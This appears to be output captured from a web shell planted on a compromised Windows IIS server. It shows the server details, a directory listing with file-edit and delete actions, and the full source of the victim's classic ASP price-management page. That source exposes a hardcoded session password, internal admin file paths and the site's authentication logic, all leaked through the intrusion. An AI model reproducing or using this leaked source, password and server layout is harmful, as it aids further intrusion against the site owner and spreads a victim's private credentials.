Webshell Akmal archtte id

System: Microsoft Windows NT 10.0.20348.0

Server: Microsoft-IIS/10.0

User: buyyou

Directory: C:\MyData\WWW\asc365\

Name	Size	Type	Actions
ASC365_CANADA	-	Directory	Rename Delete
ASC365_Store01	-	Directory	Rename Delete
aspnet_client	-	Directory	Rename Delete
CompanyImage	-	Directory	Rename Delete
TJGS_USA	-	Directory	Rename Delete
zhijian	-	Directory	Rename Delete
Memo.inc	0 bytes	.inc	Edit Rename Delete
web.config	213 bytes	.config	Edit Rename Delete

<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>����/Ebay�۸�</title>
</head>

<body style="text-align:center; margin:0 auto; width:1200px">
<%
if session("asc365allpassword")<>"8879365" then response.end
  set fs=server.CreateObject("scripting.FileSystemObject")
  
  thispage=Request.ServerVariables("HTTP_HOST") & Request.ServerVariables("PATH_INFO")
  
 if request.Form("submit")="submit" then
    password=request.Form("password")
     Temp=server.MapPath("../../../ASC365_CWZ/Web/Webadmin/BUMENInf_YT")
     set f=fs.OpenTextFile(Temp,1)
     do while f.AtEndOfStream=false 
        str=f.ReadLine
	    if left(str,1)="A" then
	        str11=split(str,"|")
			if password=str11(1) then
			    groupid="0"&right(str11(0),2)
				response.Cookies("groupid")=groupid
			end if
	    end if
     loop
 end if
  
  pass=request.Cookies("groupid")
  if len(pass)=0 then
%>
   <form method="post" action="">
       ������ҵ�������룺<input type="password" name="password" value="" size="10" /><input type="submit" name="submit" value="submit" />
   </form>
<%
    response.End()
  else
%>
<div style="text-align:center; width:1200px; margin-top:50px">
   <font color="#FF0000" face="Verdana" size="5"><b>���׶๫˾���ؼ۸�����</b></font>
</div>
<%
end if
%>
<%
Dim dalei(20)
d_i=0
  Temp=server.MapPath("../../../ASC365_CWZ/Web/Webadmin/CPL_ZB_Inf")
  if fs.FileExists(Temp)=true then
      set f=fs.OpenTextFile(Temp,1)
	  do while f.AtEndOfStream=false
	      str=f.ReadLine
		  if left(str,3)=pass then
		      str11=split(str,"|")
			  dalei(d_i)=str11(1)
			  d_i=d_i+1
		  end if
	  loop
	  f.close
	  set f=nothing
  end if
Dim Detail(1000,10)
dt_i=0

lyear=year(DateAdd("d",-1,now))
lmonth=right("0"&month(DateAdd("d",-1,now)),2)
lday=right("0"&day(DateAdd("d",-1,now)),2)
 if request.Form("submit")="Search" then
      leibie=request.Form("leibie")
	  response.Cookies("leibie")=leibie
	  kucun=request.Form("kucun")
	  paixu=request.Form("paixu")
	  datu=request.Form("datu")
  end if

Dim pricedetail(10)

if request.Form("up")="submit" then
  
     for i=0 to 1000
	     for j=0 to 9
		    pricedetail(j)=""
		 next
	     ss=i*1000
		 productid=request.Form("DT"&ss)
		 ss=ss*1+1
		 jinjia=request.Form("DT"&ss)
		 ss=ss*1+1
		 wangzhan=request.Form("DT"&ss)
		 if len(productid)>0 then
		    ss=ss+1
		    ebay=request.Form("DT"&ss)
			if Isnumeric(ebay)=false then ebay=0
		
			ss=ss+1
			dldprice=request.Form("DT"&ss)
			if Isnumeric(dldprice)=false then dldprice=0

Temp=server.MapPath("../../../ASC365_CANADA/Admin/"&left(productid,3)&"/"&right(productid,3)&"/NPrice.inc")
			if fs.FileExists(Temp)=true then
			    set f=fs.OpenTextFile(Temp,1)
				dd=0
			    do while f.AtEndOfStream=false
				   pricedetail(dd)=f.ReadLine
				   dd=dd+1
				loop
				f.close
				set f=nothing
				pricedetail(3)=ebay
				pricedetail(4)=dldprice
				set f=fs.OpenTextFile(Temp,2,true)
				for jj=0 to 9
				   f.WriteLine(pricedetail(jj))
				next
				f.close
				set f=nothing
		    else
			   set f=fs.OpenTextFile(Temp,2,true)
			   f.WriteLine(productid)
			   f.WriteLine(jinjia)
			   f.WriteLine(wangzhan)
			   f.WriteLine(ebay)
			   f.WriteLine(dldprice)
			   f.WriteLine(0)
			   f.WriteLine(0)
			   f.WriteLine(0)
			   f.WriteLine(0)
			   f.WriteLine(0)
			   f.close
			   set f=nothing
			end if
		 end if
	 next
  end if
  
 leibie=request.Cookies("leibie")
 if len(leibie)=3 then
	  Temp=server.MapPath("../../../ASC365_CANADA/Admin/KJ_KCXS/"&lyear&"/"&lyear&lmonth&"/"&lyear&lmonth&lday&"DT.txt")
	  if fs.FileExists(Temp)=true then
	     set f=fs.OpenTextFile(Temp,1)
		 do while f.AtEndOfStream=false 
		     str=f.ReadLine
			 if left(str,3)=leibie then
			     str11=split(str,"|")
				 Detail(dt_i,0)=str11(0)
				 dt_i=dt_i+1
			 end if
		 loop
		 f.close
	     set f=nothing
	  end if
	 
	  for i=0 to dt_i-1
	      Temp=server.MapPath("../../../ASC365_CANADA/Admin/"&left(Detail(i,0),3)&"/"&right(Detail(i,0),3)&"/Tech.inc")
		  if fs.FileExists(Temp)=true then
		      set f=fs.OpenTextFile(Temp,1)
			  do while f.AtEndOfStream=false
			      f.skipline
				  Detail(i,6)=f.ReadLine
				  Detail(i,7)=f.ReadLine
				  f.skipline
				  Detail(i,1)=f.ReadLine
				  exit do
			  loop
			  f.close
			  set f=nothing
		  end if
		  Temp=server.MapPath("../../../ASC365_CANADA/Admin/"&left(Detail(i,0),3)&"/"&right(Detail(i,0),3)&"/Store.inc")
		  if fs.FileExists(Temp)=true then
		      set f=fs.OpenTextFile(Temp,1)
			  do while f.AtEndOfStream=false
			     f.skipline
				 f.skipline
				 f.skipline
				 Detail(i,8)=f.ReadLine
				 exit do
			  loop
			  f.close
			  set f=nothing
		  end if
		  Temp=server.MapPath("../../../ASC365_CANADA/Admin/"&left(Detail(i,0),3)&"/"&right(Detail(i,0),3)&"/GGPrice.inc")
		  if fs.FileExists(Temp)=true then
		      set f=fs.OpenTextFile(Temp,1)
			  do while f.AtEndOfStream=false
			     f.skipline
				 f.skipline
				 f.skipline
				 f.skipline
				 Detail(i,2)=f.ReadLine
				 f.skipline
				 Detail(i,3)=f.ReadLine
				 exit do
			  loop
			  f.close
			  set f=nothing
		  end if
		  
		  Temp=server.MapPath("../../../ASC365_CANADA/Admin/"&left(Detail(i,0),3)&"/"&right(Detail(i,0),3)&"/NPrice.inc")
		  if fs.FileExists(Temp)=true then
		      set f=fs.OpenTextFile(Temp,1)
			  do while f.AtEndOfStream=false
			     f.skipline
				 f.skipline
				 f.skipline
                 Detail(i,4)=f.ReadLine 'Ebay�۸�
				 Detail(i,5)=f.ReadLine '���׶൱�ؼ۸�
				 exit do
			  loop
			  f.close
			  set f=nothing
		  end if
	  next
	 
      Dim tempdata(10)
	  if paixu=2 then
	     for i=0 to dt_i-1
		     for j=i+1 to dt_i-1
			     if Isnumeric(Detail(i,3))=false then Detail(i,3)=0
				 if Isnumeric(Detail(j,3))=false then Detail(j,3)=0
			     if Detail(i,3)*1<Detail(j,3)*1 then
				    for ss=0 to 9
					    tempdata(ss)=Detail(i,ss)
						Detail(i,ss)=Detail(j,ss)
						Detail(j,ss)=tempdata(ss)
						tempdata(ss)=""
					next
				 end if
			 next
		 next
	  end if
	  if kucun=0 then
	     for i=0 to dt_i-1
		    if Isnumeric(Detail(i,8))=false then Detail(i,8)=0
		    if Detail(i,8)=0 then			
			   Detail(i,0)=""
			end if
		 next
	  end if
  end if
 
%>
<div>
<form method="post" action="">
  <table width="1000">
     <tr>
	     <td>
		 ��Ʒ���ࣺ<select name="leibie" >
		 <%
		    for i=0 to d_i-1
		 %>
		   <option  value="<%=dalei(i)%>"<%if dalei(i)=leibie then%> selected="selected"<%end if%>><%=dalei(i)%></option>
		 <%
		    next
		 %>
		 </select></td>
		 <td>
		 �Ƿ�鿴�ܿ��Ϊ��Ĳ�Ʒ:<input type="radio" name="kucun" value="0" <%if kucun=0 then%> checked="checked" <%end if%>/>��<input type="radio" name="kucun" value="1" <%if kucun=1 then%> checked="checked" <%end if%>/>��
		 </td>
		 <td><select name="paixu" ><option value="1" <%if paixu=1 then%> selected="selected" <%end if%>>����Ʒ������������</option><option value="2" <%if paixu=2 then%> selected="selected" <%end if%>>����Ʒ�۸�������</option></select></td>
		 <td>
		 �Ƿ���ʾͼƬ:<input type="radio" name="datu" value="0" <%if datu=0 then%> checked="checked" <%end if%> />��<input type="radio" name="datu" value="1" <%if datu=1 then%> checked="checked" <%end if%>/>��
		 </td>
		 <td><input type="submit" name="submit" value="Search" /></td>
	 </tr>  
  </table> 
</form>
</div>
<div  style="width:1200px">
 <table width="1200" border="1" cellpadding="0" cellspacing="0" style="border-collapse:collapse">
     <tr bgcolor="#DDDDDD"> 
	     <th></th>
		 <th>��Ʒ����</th>
		 <th>��λ</th>
		 <th>����USD</th>
		 <th>��վ�ۼ�USD</th>
		 <th>Ebay�ۼ�USD</th>
		 <th>���׶൱���ۼ�CAD</th>
		 <th>��������</th>
		 <th>Ӣ������</th>
		 <th>�ܿ��</th>
		 </tr>
<form method="post" action="">
<%
  ssdd=0
   for i=0 to dt_i-1
 
     if len(Detail(i,0))>0 then
	 ssdd=ssdd+1
     ss=i*1000
     if datu=1 then
	 tupian="http://www.buyyou.net/ASC365_CANADA/Admin/"&left(Detail(i,0),3)&"/"&right(Detail(i,0),3)&"/0000.gif"
%>
   <tr>
      <td><img src="<%=tupian%>"  width="100" height="100"/></td>
	  <td><input type="hidden" name="DT<%=ss%>" value="<%=Detail(i,0)%>" /><%=Detail(i,0)%><%ss=ss+1%></td>
	  <td><%=Detail(i,1)%></td>
	  <td><input type="hidden" name="DT<%=ss%>" value="<%=Detail(i,2)%>" /><%=Detail(i,2)%><%ss=ss+1%></td>
	  <td><input type="hidden" name="DT<%=ss%>" value="<%=Detail(i,3)%>" /><%=Detail(i,3)%><%ss=ss+1%></td>
	  <td><input type="text" name="DT<%=ss%>" value="<%=Detail(i,4)%>" size="8"/><%ss=ss+1%></td>
	  <td><input type="text" name="DT<%=ss%>" value="<%=Detail(i,5)%>" size="8" /><%ss=ss+1%></td>
	  <td><%=Detail(i,6)%></td>
	  <td><%=Detail(i,7)%></td>
	  <td><%=Detail(i,8)%></td>
   </tr>
   <%
   else
      if ssdd mod 2=0 then
   %>
     <tr height="30">
      <td></td>
	  <td><input type="hidden" name="DT<%=ss%>" value="<%=Detail(i,0)%>" /><%=Detail(i,0)%><%ss=ss+1%></td>
	  <td><%=Detail(i,1)%></td>
	  <td><input type="hidden" name="DT<%=ss%>" value="<%=Detail(i,2)%>" /><%=Detail(i,2)%><%ss=ss+1%></td>
	  <td><input type="hidden" name="DT<%=ss%>" value="<%=Detail(i,3)%>" /><%=Detail(i,3)%><%ss=ss+1%></td>
	  <td><input type="text" name="DT<%=ss%>" value="<%=Detail(i,4)%>" size="8"/><%ss=ss+1%></td>
	  <td><input type="text" name="DT<%=ss%>" value="<%=Detail(i,5)%>" size="8" /><%ss=ss+1%></td>
	  <td><%=Detail(i,6)%></td>
	  <td><%=Detail(i,7)%></td>
	  <td><%=Detail(i,8)%></td>
   </tr>
   <%
      else
   %>
     <tr bgcolor="#80FFFF" height="30">
      <td></td>
	  <td><input type="hidden" name="DT<%=ss%>" value="<%=Detail(i,0)%>" /><%=Detail(i,0)%><%ss=ss+1%></td>
	  <td><%=Detail(i,1)%></td>
	  <td><input type="hidden" name="DT<%=ss%>" value="<%=Detail(i,2)%>" /><%=Detail(i,2)%><%ss=ss+1%></td>
	  <td><input type="hidden" name="DT<%=ss%>" value="<%=Detail(i,3)%>" /><%=Detail(i,3)%><%ss=ss+1%></td>
	  <td><input type="text" name="DT<%=ss%>" value="<%=Detail(i,4)%>" size="8"/><%ss=ss+1%></td>
	  <td><input type="text" name="DT<%=ss%>" value="<%=Detail(i,5)%>" size="8" /><%ss=ss+1%></td>
	  <td><%=Detail(i,6)%></td>
	  <td><%=Detail(i,7)%></td>
	  <td><%=Detail(i,8)%></td>
   </tr>
<%
        end if
      end if
    end if
   next
%>
    <tr>
	  <td colspan="10" align="center" height="50"><input type="submit" name="up" value="submit" /></td>
	</tr>
</form>
 </table>
</div>
</body>
</html>